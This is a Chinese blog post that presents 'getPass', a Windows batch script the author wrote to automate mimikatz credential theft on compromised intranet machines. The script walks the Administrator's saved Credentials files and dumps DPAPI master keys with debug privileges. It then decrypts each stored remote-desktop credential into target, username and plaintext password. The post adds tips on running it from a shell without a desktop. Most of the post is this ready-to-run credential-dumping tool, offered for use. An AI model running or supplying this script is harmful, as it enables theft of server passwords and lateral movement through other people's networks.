0%

getPass - 一键批量获取远程终端凭据密码

前言

【奇技淫巧】破解远程终端凭据,获取服务器密码

想必大家都看了这篇文章吧,土司12月推送的,非常好的破解方式,内网中能起到相当大的作用,相信不少人已经去实践了一遍,过程之繁琐真是让我们这些人望而却步。

我可不想每拿到一台内网机,都要重复的去做这么复杂的操作,而且每一个凭据都要做一遍。

对批处理不熟,花了几天时间,写了个bat,一键批量获取。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@echo off
setlocal enabledelayedexpansion

echo.
echo [+] Start. Code by redn3ck.
echo.

set flag=0 REM 判断是否存在Credentials
for /f %%i in ('dir /a/s/b c:\Users\Administrator\AppData\Local\Microsoft\Credentials') do (
if exist %%i (
set file=%%i
set flag=1
echo !file!

for /f "delims=: tokens=1,2" %%i in ('mimikatz.exe "dpapi::cred /in:!file!" "exit" ^| findstr guidMasterKey') do set guidMasterKey=%%j
REM echo !guidMasterKey!

mimikatz "privilege::debug" "sekurlsa::dpapi" "exit" > MasterKey.txt

REM findstr /n 返回行号 example: 1: * GUID : {b619a08d-f4c3-408d-b733-bc89bd94ca0b}
for /f "delims=:" %%i in ('findstr /n "!guidMasterKey!" MasterKey.txt') do (
set /a lineNum=%%i+1
REM echo !lineNum!
call :next
)
)
)
:end
if !flag!==0 echo [-] No credentials :(
echo.
echo [+] End
exit /b

:next
for /f "skip=%lineNum% delims=" %%i in ('type MasterKey.txt') do (
set MasterKeyTemp=%%i
goto next2
)

:next2
set MasterKey=%MasterKeyTemp:~16%
REM echo %MasterKey%
mimikatz "dpapi::cred /in:%file% /masterkey:%MasterKey%" "exit" > pass.txt
findstr "TargetName UserName CredentialBlob" pass.txt
del MasterKey.txt

你只需把mimikatz和getCredentialsPass.bat放在同目录,运行bat即可一键批量获取远程终端凭据密码

Reply

权限问题:当然需要高权限,毕竟你要访问高权限文件

桌面:无需有桌面,只需有shell,重定向即可,getCredentialsPass.bat >> test.txt

TCV

tcv=1